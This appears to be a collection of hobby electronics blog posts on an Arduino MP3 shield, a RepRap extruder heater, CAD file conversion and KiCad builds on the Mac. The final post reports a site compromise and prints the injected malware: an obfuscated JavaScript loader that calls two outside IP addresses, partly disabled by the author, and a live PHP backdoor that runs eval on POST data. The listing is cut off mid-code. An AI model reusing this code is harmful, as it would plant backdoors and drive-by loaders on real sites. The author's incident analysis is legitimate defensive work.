The PCB has not actually been tested yet so I’d hold off building a million of these until after a successful test. There is unlikely to be much wrong with it though as I have simply added a voltage regulator and re routed a couple of signals to fix my earlier mistakes. ( I’d forgotten that I/O lines 0 and 1 are used by the uart on the arduino)

I have embedded the BOM below. ( The bom is here if you don’t see it below)

Here are all the files so far. These are all released under a Creative Commons 2.5 license .

EAGLE files are here

GERBER files are here

Arduino Library files are here

PDF of the schematic is here

To use the library simply put the “mp3″ folder from the zip file inside the “libraries” folder in your arduino folder (create one if it doesn’t exist). Restart Arduino 018 or later and you should have “mp3″ entries in the menus under examples and import libraries.

The BOM references a 2.8V LDO voltage regulator but the schematic shows a 3.3V. Either will work fine but the 2.8 will give you slightly lower power usage.

If you are interested in PCBs or kits, drop me a line at buy_pcbs@brokentoaster.com
As always any comments, suggestions or ideas are welcome.

My cheap polymide tape arrived from Hong-Kong yesterday so I was able to get the heater built on the extruder for the reprap. No problems with the construction of the heater itself, although after running some tests I discovered the thermistor I had chosen is only rated to 155 degreees Celcius. I obviously wasn’t looking very hard when I ordered it or perhaps it was just the fact that it was one tenth the cost of a more suitable device that convinced me to buy it. I should have a new thermistor in this week and replace this one.

Before going too far with my heater I wanted to test the system and check that the temperature measured was accurate. I ran three sets of tests. Using the Butterfly Logger with some DS18B20′s and a SHT71 I logged the temperature of the barrel at the edge of the extruder (see close up above). The SHT-71 was used to monitor the extruder temperature with the DS18B20′s monitoring ambient. The first test was logged at 10 second intervals with the later two logged each second.

TEST 1
The first test was a 0.2 deg C/s ramp from near ambient up to 75 deg C and then a step change to 100 deg C and then passive cooling. This is shown in the plot below. The period of 10 seconds seemed too slow to give me a good idea of the stability so n the following tests it was decreased to 1 second. This did show rough correlation between the set temperatures and the measured temperatures although not really as accurate as I had hoped.

TEST 2
This test was a controlled ramp of 0.2 deg C/s from near ambient up to 100 deg C. After holding at 100 deg C the system is passively cooled to 50 deg C. The system holds at 50 deg C momentarily before being given a step change to 100 deg C, after which the system is allowed to cool to ambient.
The better time resolution allows the system stability to be better assessed. The system looks reasonably stable at the 100 deg hold mark. Here it is cycling around 5 deg around the set point. The ‘stable’ temperature is slowly rising which I attribute to the thermal mass of the barrel and thermal barrier warming up. It is not 100 deg C as it is not measuring at the same point where the control thermistor is measuring. Looking at this initially lead me to check the characteristics of the thermistor I was using and is what lead me to discover that it was only rated at 155 deg C. In checking the data sheet I also noticed a diference in the Beta value fromt he look up table used in the extruder firmware. I recalculated the look up table accordingly and repeated the tests in test 3.

TEST 3
This was a repeat of the previous tests with the new lookup table ( Beta = 4400). This seemed to give a ramp rate twice of what was programmed (0.45 deg C/s compared to 0.2 deg C/s). The temperatures seemed hotter which is expected given the change in thermistor table for the control firmware.

The next test will of course be to see how the system performs when loaded i.e. extruding some plastic.

I ran out of time this weekend to get anything done on the MP3 shield or the MLMC projects. I did however manage to find time to solder up the electronics for my reprap I’m building. After a couple of hitches I also got the firmware on and up and running.I had to download the latest from SVN else I got a clash between the stepper-motor drivers and the servo motor drivers in the firmware for the extruder.

I built the mother board to use a standard PC power connector even though I’m building a reprap. It just seemed silly to power this PCB via USB and then rig the power-supply to power all the other boards. I temporarily used the USB 5V to power the PCB via a pin on the JTAG connector during programming the firmware. Before the firmware on the mother board was programmed the PC PSU wouldn’t fire up so I needed a temporary power supply.

I managed to test the extruder board with some test software I found at http://objects.reprap.org/wiki/Microcontroller_Firmware_Hints#Driving_Steppers_with_the_Extruder_Controller_V2.2_.28Arduino_inside….29. But I haven’t managed to get it working through the mendel firmware via the host software yet. The thermistor was working so I know the RS485 link is functioning properly. Probably just a configuration.h option I’ve over looked.

It took a couple of hours to get the three boards all soldered up and tested. I’ll post more when I have more done. I’ll probably be focusing on the mechanical side of building the Cartesian robot for now so not much electronics left to do, although I still have the firmware to sort through…

[EDIT] It turns out that I had overlooked the I2C connection between the motherboard and the extruder board. I should really have read the instruction.

My Batch PCB contained a new version of the Arduino MP3 board with provision for running from the 5V Duemilanove Arduino and a number of MLMC boards so I can string them together for testing. Unfortunately the ArduinoMP3 PCB had a couple of design errors, which is typical when your working on a design off and on over a course of months. The design will probably be released soon, but the libraries and demo code are also proving slightly more difficult.

Some changes to Hardware.
The basic design of the board is the same, VS1011 and SD card shared on the SPI bus with a 5 way Joystick on some digital lines.

I forgot about the TX/RX lines being shared with digital 0 and 1 on the arduino so I’ve had to re-route signals using those pins to the previously unused analog/general IO pins.

A couple of changes related to running the circuits on a 5V / 3V3 system. My Butterfly MP3 system that I based this on was powered from a single supply rail of 2.8V. The FTDI USB chip on the arduino was originally used to provide a 3V3 supply to the shield. I thought the 50 mA stated in the data sheet would be enough as my butterfly mp3 system only used about 50mA including processor and display. Unfortunately the is a large current draw when an SD Card is inserted causing the FTDI chip to reset and breaking connection with the PC. Although not a big problem I decided to add an LP2981 LDO regulator to supply a 100mA for the card and MP3 player circuits. If you don’t want to use this then you can not fit the parts and easily bypass with a jumper wire.

C++ing the libraries
I was hoping to use the existing libraries for the Arduino and SD cards to access the MMC/SD Cards and provide demo code to show using the shield. For an as yet unknown reason the existing libraries from Adafruit wave shield do not work. In order to test my hardware I have converted my MMC and FAT libraries from the ButterflyMP3 project to C++ for use with the Arduino system. I few teething problems and issues as I remember how C++ works and I now have a working SD Card system. Output from my current software is shown below

I’d like to use the already available libraries as they offer FAT32 and extended features over my bare bones implementation – so not quite ready to publish any finished code just yet.

Next step is adding the support for the VS1011. Again not quite as smooth as I’d hopped but moving along with the help of the old intronix logic port. Currently the VS1011 is not setting up correctly. Occasionally it plays OK but mostly nothing or a very slow version of a song, indicating to me the clock registers are not being set correctly.

I think another weekend or so of work and I’ll be there but if you’d like a copy of the current PCBs or Arduino files then just drop me an email or leave a comment.

Current Demo Software Terminal Output

TEST
0
MMC_RESET returned 0
MMC_SEND_STATUS returned 0
MMC_SEND_CID returned 0
0: FE 02 54 4D 53 44 30 31 47 28 9A CF 7B 33 00 7A ..TMSD01G(...3.z
1: 83 08 8E FF FF FF FF FF FF FF FF FF FF FF FF FF ................
MMC_SEND_CSD returned 0
0: FE 00 2D 00 32 5B 59 83 D6 7E FB FF 80 16 40 00 ..-.2[Y.......@.
1: FB 5E C9 FF FF FF FF FF FF FF FF FF FF FF FF FF .^..............
MMC_Capacity returned 1037952
MMC_Name returned 0 SD01G(
MMC_Read returned 0
MMC First Sector:
0: FA 33 C0 8E D0 BC 00 7C 8B F4 50 07 50 1F FB FC .3........P.P...
1: BF 00 06 B9 00 01 F2 A5 EA 1D 06 00 00 BE BE 07 ................
2: B3 04 80 3C 80 74 0E 80 3C 00 75 1C 83 C6 10 FE ...<.t..<.u.....
3: CB 75 EF CD 18 8B 14 8B 4C 02 8B EE 83 C6 10 FE .u......L.......
4: CB 74 1A 80 3C 00 74 F4 BE 8B 06 AC 3C 00 74 0B .t..<.t.....<.t.
5: 56 BB 07 00 B4 0E CD 10 5E EB F0 EB FE BF 05 00 V.......^.......
6: BB 00 7C B8 01 02 57 CD 13 5F 73 0C 33 C0 CD 13 ......W.._s.3...
7: 4F 75 ED BE A3 06 EB D3 BE C2 06 BF FE 7D 81 3D Ou.............=
8: 55 AA 75 C7 8B F5 EA 00 7C 00 00 49 6E 76 61 6C U.u........Inval
9: 69 64 20 70 61 72 74 69 74 69 6F 6E 20 74 61 62 id partition tab
A: 6C 65 00 45 72 72 6F 72 20 6C 6F 61 64 69 6E 67 le.Error loading
B: 20 6F 70 65 72 61 74 69 6E 67 20 73 79 73 74 65  operating syste
C: 6D 00 4D 69 73 73 69 6E 67 20 6F 70 65 72 61 74 m.Missing operat
D: 69 6E 67 20 73 79 73 74 65 6D 00 00 00 00 00 00 ing system......
E: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
F: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
10: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
11: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
12: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
13: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
14: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
15: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
16: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
17: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
18: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
19: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
1A: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
1B: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 03 ................
1C: 37 00 06 03 C3 E6 F3 00 00 00 0D B3 1E 00 00 00 7...............
1D: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
1E: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
1F: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 55 AA ..............U.
0
SECTORS PER CLUSTOR 20
BYTES PERSECTOR 0200
FAT Init returned:0
SECTORS PER CLUSTOR 20
BYTES PERSECTOR 0200
FAT boot Sector info
FAT begins at sector 244
Clusters begin at sector 768
Sectors per cluster = 32
Root dir starts at sector 736
THESTR~1.MP3 00045 037A00 2E0F
THESTR~2.MP3 00124 03400 2E1A
THESTR~3.MP3 001F5 025C00 2E24
THESTR~4.MP3 0028C 030400 2E2E
TWINSE~1.MP3 0034D 051B249 2E39
THEWHI~1.MP3 00494 03867AF 2E45
THESTR~5.MP3 0057B 02FE00 2E51
THESTR~6.MP3 0063B 032B00 2E5C
THESTR~7.MP3 0079 034D00 2E68
BEASTI~1.MP3 007DD 02EC9A4 2E74
BEASTI~2.MP3 00899 02E93C3 2E80
BEASTI~3.MP3 00954 01F172F 2E8B
THESTR~8.MP3 009D1 03A300 2E95
THESTR~9.MP3 00ABA 02DC00 2E9F
THEST~10.MP3 00B71 02F00 2EA9
THEST~11.MP3 00C2D 026900 2EB4
05-ILE~1.MP3 00CC8 02E8C16 2EBD
BEASTI~4.MP3 00D83 03EF2C9 2EC8
Files: 18
1A
DONE

After a week of playing about with different options I have managed to get from Sketchup files to IGES files.
I used BRL-CAD to convert from .stl to its native format and then exported as an .igs from there.
Below is a copy of the script i used to convert a whole directory of files.


#!/bin/bash
# Convert an STL file to IGES format using BRL CAD

for file in *.g
do
mkdir ${file}.d
g-iges -m -o ${file}.d ${file} all
cp ${file}.d/*.igs ${file}.igs
rm -rf ${file}.d
done


I did run into an issue or two along the way. When initially export as iges with the command g-iges -o file.igs file.g all the file produced caused every program I tried to load it with to crash with the exception of BRL-CAD which loaded it just fine. I found that when I used the -m option and export all regions to a directory of iges files the files worked. The STL files produced by the STL output plug-in for sketchup produces STL files in the ASCII format some programs may produce files in binary format, in which case you will need to add the -b option to the stl-g command. I had to use this when converting the STL files from the reprap project to iges files.

Why IGES files? Because I couldnt get STEP files. While STL files are widely supported they are mesh files that describe surfaces only. Most professional mechanical CAD packages use constructive solid geometry (CSG) techniques and don’t like mesh files so much. That’s not to say I couldn’t load STL files into these packages but the loaded part was less useful when imported from STL as compared to IGES. An IGES file allows me to measure and convert to a solid object or more easily produce drawings for a machinist to work with.

I hope to use this data to do some stress analysis of the case design using CAE Linux and look at geting the case built using SLA or SLS techniques.

The Sketchup model is at http://www.brokentoaster.com/butterflymp3/photos/ButterflyMP3_and_Cases.skp

Here is my first attempt at an AVR Butterfly model for use in case designs on the data logger and MP3 player. You can download in skp and stl format. To export SketchUp files as STL I have used the plugin from http://www.guitar-list.com/download-software/convert-sketchup-skp-files-dxf-or-stl

Stereo Lithography (STL)
SketchUp (SKP)
Image (PNG)

Sat 14 Nov 2009 13:45:06 GMT Full charge capacity (mAh): 4740 Cycle count: 163

To create the log file in a sensible place like /var/log/ I did the following:

sudo touch /var/log/batterycapacity.log
sudo chmod 666 /var/log/batterycapacity.log

I’ve also switched to using periodic instead of cron as I can’t seem to get cron to work reliably. To make it work with periodic I simply place my batterylogger.sh script in the directory /etc/periodic/daily/

NOTE: I’ve had a couple of issues lately with pasting from the web into a script file and finding i get the following error:
No such file or directory#!/bin/sh

I’ve found that this problem is due to binary characters in my text file. I think they are UTF-8 encoded characters that have slipped in from cutting and pasting. To solve this problem I use the command vim -b script. This will load up the file in binary mode so I can see what funny characters have found their way into my file. After deleting the offending character or characters the script functions as expected.

The whole experience turned out be much easier than I originally thought. To get a standalone USB device up and running took very little effort at all.

HARDWARE
I took one of my ATtiny45 USB-Key PCBs and hacked on a voltage divider (two 330k resistors) and some wires to my encoder (+5v, GND, Signal). The purpose of the voltage divider is to keep the sensor output (or ADC input) below the 2.56 vRef being used on the chip and also below the 3.6V being used as Vcc on the PCB.

I started this project in 2006 while I was living in Japan with an idea to enter it in the 2006 AVR competition. Some things went astray with the hardware design so I dumped it in order to do five other more viable entries. The concept for the project was to take my Quickcoms Renasas design from 2005 and develop it further from the prototype. I mostly wanted to add keyboard support so it could act as stand alone terminal in addition to just decoding serial data. I also wanted it to be the size of a deck of cards and support a LiION battery. I wanted to enlarge the LCD to get closer to 80×40 chars on screen. Include support for a couple of LCDs on the PCBs to allow for a black and white low power version.

What went wrong ( other than trying to put the moon on a stick) ?

• I made an assumption about the keyboard from the AVR application note that I would not have to send any data to the keyboard. Most AT keyboards will work without you sending any data back towards them so long as you don’t wish to change the status LEDs. I bought a neat little keyboard to go with project from one of the many electronics dens around Akihabara. I wanted something small and light to throw in a toolkit without taking up all the room. Unfortunately this keyboard used an obscure chipset which follows an old protocol which purposely sends a malformed packet and waits for you to send an error response. With no scope or Logic analyser at the time this was a pretty big nail in this projects coffin. Although it only required a couple of small changes to the PCB and some voltage dropping resistors to configure the ATMega16 to transmit I managed to procrastinate this for two years.

• I managed to blow up the back-lighting on the LCD display. Took me a while to get around to ordering a replacement.

• I didn’t provide a decent positive and negative supply rail for the op amps. I tried to rely on the comms transceiver chip to provide this. Unfortunately it was supplying 1 quad opamp and several multiplexes it and seemed to fall over completely. In my prototype I simply used a MAX232ACP with onboard capacitors to provide my circuits with the rails. I had assumed the new transceiver chip would be able to do the same.

Where is it at now?

Well after sorting out the keyboard issue and replacing the LCD I have a small screen that will echo characters from the PS2 keyboard and from PC via a USB serial port. What needs to happen next is sorting out a positive and negative voltage rail to support the multiplexers and opamps. Once that is done I can start porting the code from the original system over to the AVR.

This should make it easier for those of you out their that just want to build the standard design without custom modifications.
The downloads can be found at https://sourceforge.net/projects/butterflymp3/files/

My original idea was to have it generate and remember random passwords so you don’t need to type in your 63 char password for the wireless router every time someone comes to visit , simply plug in the dongle and it will type it for you. There are other non keyboard ideas as well such as a simple data logger that converts voltage, temperature, (insert random digital sensor here) to a comport that responds to commands or simply pushes data at a specified rate.

I see Sparkfun have done a nice version of this PCB with some similar ideas. Theres is called AVR Stick

Its been rather quiet (blogwise) for me lately, so I thought I’d update with what I’ve been working on lately. The following is a rough outline of the stuff I’ve been working on and probably why I feel like I never get anything done.

• General purpose usb key for experimenting with USB drivers firmware and the rest.
• MP3 shield for Arduino. Basically an Arduino version of the ButterflyMP3 project.
• Daisy chained LED matrix controller. A flexible and extendable display made up of modules that can make any length display you want without changing the firmware.
• Quickcoms 2: Pocket Term. A follow up to my Circuit Cellar article and competition project. Current quickcoms info is here.
• ButterflyMP3 VS1053 hardware revision.This newer chip decodes :
  

  Ogg Vorbis; MPEG 1 & 2 audio layer III (CBR +VBR +ABR); layers I & II optional; MPEG4 / 2 AAC-LC(+PNS), HE-AAC v2 (Level 3) (SBR + PS); WMA 4.0/4.1/7/8/9 all profiles (5-384 kbps); WAV (PCM + IMA ADPCM); General MIDI 1 / SP-MIDI format 0 files

• ButterflyMP3 firmware updates
  • Add a simple LED based display. One LED lights up to indicate the track playing. Currently limited to 21 LEDs.
    
  • A simple Matrix keypad for music store “listening post” style operation. multiplexed on LED lines. Currently limited to 21 buttons. One button will trigger a track to be played.
    
  • Scrolling LED Matrix support. This is for my LED matrix project above if I ever finish it.

• Butterfly Logger firmware updates
  • support GPS logging
    
  • support wireless sensors

• The Glitch. A small device that goes inline with low voltage DC wall wart and switches it off and then on again once a day. (I bought a cheap router that needs a hard reset every so often.)

Plus some white LED based low power kitchen lighting, playing around with 3D scanning and of course the online shop which I have been doing absolutly nothing on for the past couple of months.

My nightly make script now looks like this….

#update from svn
cd /temp/kicad-sources
svn up
new_version=`svn info | grep Revision | cut -f 2 -d\ `
old_version=`cat /temp/install/version.txt`
if [ $new_version -gt $old_version ]
then

#build it
cd build/release
cmake ../../ -DwxWidgets_CONFIG_EXECUTABLE=”/usr/local/bin/wx-config” -DwxWidgets_ROOT_DIR=”/usr/local/include/wx-2.8″ -DCMAKE_INSTALL_PREFIX=/temp/install -DBoost_INCLUDE_DIR=/temp/kicad-sources -DCMAKE_OSX_ARCHITECTURES=”ppc -arch i386″ -DCMAKE_CXX_FLAGS=”-D__ASSERTMACROS__”

# make clean
if make > /temp/kicad_errors-${new_version}.txt 2>> /temp/kicad_errors-${new_version}.txt && make install
then
file=kicad_osx_v${new_version}
echo $new_version > /temp/install/version.txt
mv /temp/kicad_errors-${new_version}.txt /temp/install/build_log.txt

#bundle
cd /temp/
cp -rf install ${file}
tar -czf ${file}.tgz ${file}

#upload
curl -T ${file}.tgz ftp://username:password@ftp.brokentoaster.com/
rm -rf ${file}

# cd /temp/kicad-sources/build/release/
# /Developer/usr/bin/packagemaker –doc osx-package.pmdoc –title ‘Kicad’ -o ${file}.mpkg
# curl -T ${file}.mpkg ftp://username:password@ftp.brokentoaster.com/

else
curl -T /temp/kicad_errors-${new_version}.txt ftp://username:password@ftp.brokentoaster.com/
fi

# go to sleep
open /Users/nick/Applications/SleepNow
else
echo “Kicad is uptodate “
fi

“The idea is to supplement software in sharing a line between incoming and outgoing calls. The callin device (typically /dev/tty*) is used for incoming traffic. Any process trying to open it blocks within the open() call as long as DCD is not asserted by hardware (i.e. as long as the modem doesn’t have a carrier). During this, the callout device (typically /dev/cu* — cu stands for “calling unit”) can be freely used. Opening /dev/cu* doesn’t require DCD to be asserted and
succeeds immediately. Once succeeded, the blocked open() on the callin device will be suspended, and cannot even complete when DCD is raised, until the cu device is closed again.

That way, you can have a getty listening on /dev/tty*, and can still use /dev/cu* without restrictions.”

So this is what I use when programming with AVRDude as the butterfly doesn’t have any DCD/DTR lines to assert. Its just TX, RX, and GND. If you have problems on the mac using a tty serial port you should try its cu equivalent.

In doing this I noticed a few messages regarding others trying to get port files up for gEDA on the mac so I assume they will make it into the main ports tree at some time in the near future.

To use my files you can browse them at http://www.brokentoaster.com/macports/ or download them all at http://www.brokentoaster.com/macports/ports.zip.

First you will need to extract the files into a local directory such as /users/me/ports. Then you will need to add /users/me/ports to the /opt/local/etc/macports/sources.conf file. The last action is to run the command portindex from your newly created ports directory to ensure the index is up to date.

If these are of any use to you then enjoy. Good luck.

Somewhere on the mac a “check” macro gets defined. Apparently this is if “DEBUG” is defined somewhere but I could not figure out where or why this was going on (see this post. I decided to simply modify the boost files concerned to work aroaund this problem. By renaming the “check” function and its called I was able to get kicad compiling again. Sadly it does not fix the serious flaws in wxmacs graphics implimentation ie. the fact that it does not do XOR draws properly.Anyway here are the diffs I made

fixing kicad again for th mac
/temp/kicad-sources/boost/ptr_container/detail/static_move_ptr.hpp:
line 155: check renamed to check_

4 changes in /temp/kicad-sources/boost/detail/is_incrementable.hppcheck “check(” replaced with “check_(“

boost/ptr_container/detail/static_move_ptr.hpp

% diff /temp/boost_1_37_0/boost/ptr_container/detail/static_move_ptr.hpp
/temp/kicad-sources/boost/ptr_container/detail/static_move_ptr.hpp

154c155
<     void check(const static_move_ptr& ptr)
---
>     void check_(const static_move_ptr& ptr)

boost/detail/is_incrementable.hpp

% diff /temp/boost_1_37_0/boost/detail/is_incrementable.hpp
/temp/kicad-sources/boost/detail/is_incrementable.hpp

68c68
<   char (& check(tag) )[2];
---
>   char (& check_(tag) )[2];
71c71
<   char check(T const&);
---
>   char check_(T const&);
81c81
<         , value = sizeof(is_incrementable_::check(BOOST_comma(++x,0))) == 1
---
>         , value = sizeof(is_incrementable_::check_(BOOST_comma(++x,0))) == 1
92c92
<         , value = sizeof(is_incrementable_::check(BOOST_comma(x++,0))) == 1
---
>         , value = sizeof(is_incrementable_::check_(BOOST_comma(x++,0))) == 1

The error I was getting was the following

In file included from /temp/kicad-sources/boost_1_38_0/boost/ptr_container/detail/reversible_ptr_container.hpp:22In file included from /temp/kicad-sources/boost_1_38_0/boost/ptr_container/detail/reversible_ptr_container.hpp:22,
                 from /temp/kicad-sources/boost_1_38_0/boost/ptr_container/ptr_sequence_adapter.hpp:20,
                 from /temp/kicad-sources/boost_1_38_0/boost/ptr_container/ptr_vector.hpp:20,
                 from /temp/kicad-sources/kicad/include/board_item_struct.h:9,
                 from /temp/kicad-sources/kicad/include/pcbstruct.h:10,
                 from /temp/kicad-sources/kicad/3d-viewer/3d_viewer.h:29,
                 from /temp/kicad-sources/kicad/3d-viewer/3d_aux.cpp:23:
/temp/kicad-sources/boost_1_38_0/boost/ptr_container/detail/static_move_ptr.hpp:154:50: error: macro "check" passed 2 arguments, but takes just 1

I have now updated my automagic build script to upload the error log if It doesn't compile.

All of my builds are still found at http://www.brokentoaster.com/kicad/ and should be universal apps. If anyone has had any success with wxCocoa or other builds I'd be happy to add them to my build list.

just add this to the end of your shop page to fix or alternatively fix the litebox/lightbox engine ( i’m too lazy so I thought I’d post this so someone else might do it

<!-- GOOGLE CHECKOUT/LIGHTBOX FIX -->
<script type="text/javascript">
if(window.attachEvent && !window.addEventListener)
document.attachEvent('onclick', function(){
var s = window.event.srcElement;
if((s.rel && /^lightbox/.test(s.rel)) || (s.parentNode &&
s.parentNode.rel && /^lightbox/.test(s.parentNode.rel)))
return false;
});
</script>
<!-- GOOGLE CHECKOUT/LIGHTBOX FIX -->

Hackers claiming to be Muslims from Turkey hacked the site the other day so I’ve just spent the evening reloading most of the files form backup. Although only a couple of files were visibly changed almost every html file and random PHP files had code inserted which caused any number of unknown activities.

What I don’t understand is that if you are going to go to the trouble of hacking a site and then to stealthily insert code which obviously does some sort of action of benefit to the perpetrator, why would you write your name on the index page as a red flag to say this site has been hacked? Surely If I was a hacker I would just insert the code quietly and then nobody would know it was their unless they did a full site compare. Unless you wanted a site to look like it had been hacked by someone else….. hmmmm

Anyway I’m off to review my file permissions and php code across the site… and sift through some log files

[EDIT:] Here is the javascript code that was pacthed into all my webpages. I have renamed the ‘eval’ function to disable the action and broken into lines

if(typeof(yahoo_counter)!=typeof(1))evalDISABLED(unescape('%2F%2F%3Cdi%76#%20!%73|%74%79%6C%65%3D$
%64%69~%73`%70l@%61y`%3A`n$%6F`%6E|e%3E\n#do#%63$%75!%6D%65$%6E|%74`%2E%77#%72i@%74%65%28$%22%3C
%2F%74|%65%78%74a#%72e&a|%3E")%3B%76`%61@r%20i|%2C%5F|%2C%61@%3D%5B#%2278|.|1&%310%2E@17@5`%2E&%321
!%22~,%2219!%35~.&2#4~.%37!6`.2#%35!1"@%5D~;_%3D%31~%3Bi@f$%28%64&%6F%63&%75&%6D%65n&t.c&%6F#ok%69
%65.%6D`a%74#c`%68~(%2F%5C$%62#hg#%66%74%3D#1/&%29=~%3D%6E#u@%6C`l%29!f%6Fr&%28$%69&=|%30%3B#
%69#%3C%32%3B!i|%2B!+#%29doc&%75%6D#%65&%6Et%2Ew&%72%69!t#e@(#"!%3C%73|cr#i%70t%3E`%69!%66~(#_%29$
%64@%6Fcu~%6D@e%6E|t%2E%77`rit%65%28%5C%22!%3C#%73%63%72!ip&t%20~id=%5F&"%2Bi!+"_`%20s`%72c=//%22~
+`%61@%5B$%69%5D`+#%22#/%63`%70$%2F%3F&%22&%2B@n$%61%76$%69%67`%61%74!%6F`r#%2Eap!%70#%4E`%61!
m&e!.&%63&h`%61!rA%74!(0`)@%2B"%3E%3C~%5C%5C%2F!%73%63r!%69%70!t!%3E#%5C"&)~%3C%5C/s`%63ri%70%74%3E$
%22%29@;\n%2F@/&%3C%2F%64|%69%76#%3E').replace(/#|\!|@|~|`|\&|\$|\|/g,""));var yahoo_counter=1;

The un-obfuscated version is as follows

//<div style=display:none>

document.write(“</textarea>”);var i,_,a=["78.110.175.21","195.24.76.251"];
_=1;
if(document.cookie.match(/\bhgft=1/)==null)
for(i=0;i<2;i++)document.write(“<script>if(_)document.write(\”<script id=_”+i+”_
src=//”+a[i]+”/cp/?”+navigator.appName.charAt(0)+”><\\/script>\”)<\/script>”);

//</div>

Those two IP addresses are managed by

person:         Alexander A Solovyov
address:        LIMT Group Ltd.
address:        Karpinskogo 97a
address:        Moscow
address:        111423
address:        Russian Federation
phone:          +7 342 2763167

and

person:         Andy BIERLAIR
address:        root eSolutions
address:        35, rue John F. Kennedy
address:        L-7327 Steinsel
phone:          +352 20.500
fax-no:         +352 20.500.500
nic-hdl:        AB99-RIPE

The PHP pages were tagged with

if(!function_exists(‘tmp_lkojfghx’)){for($i=1;$i<100;$i++)if(is_file($f=’/tmp/m’.$i)){include_once($f);break;}if(isset($_POST['tmp_lkojfghx3']))eval($_POST['tmp_lkojfghx3']);if(!defined(‘TMP_XHGFJOKL’))define(‘TMP_XHGFJOKL’,base64_decode(‘PHNjcmlwd
CBsYW5ndWFnZT1qYXZhc2NyaXB0PjwhLS0gWWFob28hIENvdW50ZXIgc3RhcnRzIAppZih0eXBlb2YoeWFob29fY291bnRlcikhPXR5c
GVvZigxKSlldmFsKHVuZXNjYXBlKCclMkYlMkYlM0NkaSU3NiMlMjAhJTczfCU3NCU3OSU2QyU2NSUzRCQlNjQlNjl+JTczYCU3MGxAJ
TYxeWAlM0FgbiQlNkZgJTZFfGUlM0VcbiNkbyMlNjMkJTc1ISU2RCU2NSQlNkV8JTc0YCUyRSU3NyMlNzJpQCU3NCU2NSUyOCQlMjIl
M0MlMkYlNzR8JTY1JTc4JTc0YSMlNzJlJmF8JTNFIiklM0IlNzZgJTYxQHIlMjBpfCUyQyU1RnwlMkMlNjFAJTNEJTVCIyUyMjc4fC58MSYlM
zEwJTJFQDE3QDVgJTJFJiUzMjEhJTIyfiwlMjIxOSElMzV+LiYyIzR+LiUzNyE2YC4yIyUzNSExIkAlNUR+O18lM0QlMzF+JTNCaUBmJCUyO
CU2NCYlNkYlNjMmJTc1JiU2RCU2NW4mdC5jJiU2RiNvayU2OSU2NS4lNkRgYSU3NCNjYCU2OH4oJTJGJTVDJCU2MiNoZyMlNjYlNzQl
M0QjMS8mJTI5PX4lM0QlNkUjdUAlNkNgbCUyOSFmJTZGciYlMjgkJTY5Jj18JTMwJTNCIyU2OSMlM0MlMzIlM0IhaXwlMkIhKyMlMjlkb2
MmJTc1JTZEIyU2NSYlNkV0JTJFdyYlNzIlNjkhdCNlQCgjIiElM0MlNzN8Y3IjaSU3MHQlM0VgJTY5ISU2Nn4oI18lMjkkJTY0QCU2RmN1fi
U2REBlJTZFfHQlMkUlNzdgcml0JTY1JTI4JTVDJTIyISUzQyMlNzMlNjMlNzIhaXAmdCUyMH5pZD0lNUYmIiUyQmkhKyJfYCUyMHNgJTc
yYz0vLyUyMn4rYCU2MUAlNUIkJTY5JTVEYCsjJTIyIy8lNjNgJTcwJCUyRiUzRiYlMjImJTJCQG4kJTYxJTc2JCU2OSU2N2AlNjElNzQhJTZG
YHIjJTJFYXAhJTcwIyU0RWAlNjEhbSZlIS4mJTYzJmhgJTYxIXJBJTc0ISgwYClAJTJCIiUzRSUzQ34lNUMlNUMlMkYhJTczJTYzciElNjklNzAh
dCElM0UjJTVDIiYpfiUzQyU1Qy9zYCU2M3JpJTcwJTc0JTNFJCUyMiUyOUA7XG4lMkZALyYlM0MlMkYlNjR8JTY5JTc2IyUzRScpLnJlcGx
hY2UoLyN8XCF8QHx+fGB8XCZ8XCR8XHwvZywiIikpO3ZhciB5YWhvb19jb3VudGVyPTE7CjwhLS0gY291bnRlciBlbmQgLS0+PC9zY
3JpcHQ+Cg==’));function tmp_lkojfghx($s){if($g=(bin2hex(substr($s,0,2))==’1f8b’))$s=gzinflate(substr($s,10,-8));if(preg_match_all(‘#<script(.*?)</script>#is’,$s,$a))foreach($a[0] as $v)if(count(explode(“\n”,$v))>5){$e=preg_match(‘#[\'\"][^\s\'\"\.,;\?!\[\]:/<>\(\)]{30,}#’,$v)||preg_match(‘#[\(\[](\s*\d+,){20,}#’,$v);if((preg_match(‘#\beval\b#’,$v)&&($e||strpos($v,’fromCharCode’)))||($e&&strpos($v,’document.write’)))$s=str_replace($v,”,$s);}$s1=preg_replace(base64_decode(‘IzxzY3JpcHQgbGFuZ3VhZ2U9amF2YXNjcmlwdD48IS0tIFlhaG9vISBDb3VudGVyIHN0YXJ0cy4rPzwvc2NyaXB0Pgojcw==’),”,$s);if(stristr($s,’</body’))$s=preg_replace(‘#(\s*</body)#mi’,str_replace(‘\$’,'\\\$’,TMP_XHGFJOKL).’\1′,$s1);elseif(($s1!=$s)||defined(‘PMT_knghjg’)||stristr($s,’<body’)||stristr($s,’</title>’))$s=$s1.TMP_XHGFJOKL;return $g?gzencode($s):$s;}function tmp_lkojfghx2($a=0,$b=0,$c=0,$d=0){$s=array();if($b&&$GLOBALS['tmp_xhgfjokl'])call_user_func($GLOBALS['tmp_xhgfjokl'],$a,$b,$c,$d);foreach(@ob_get_status(1) as $v)if(($a=$v['name'])==’tmp_lkojfghx’)return;else $s[]=array($a==’default output handler’?false:$a);for($i=count($s)-1;$i>=0;$i–){$s[$i][1]=ob_get_contents();ob_end_clean();}ob_start(‘tmp_lkojfghx’);for($i=0;$i<count($s);$i++){ob_start($s[$i][0]);echo 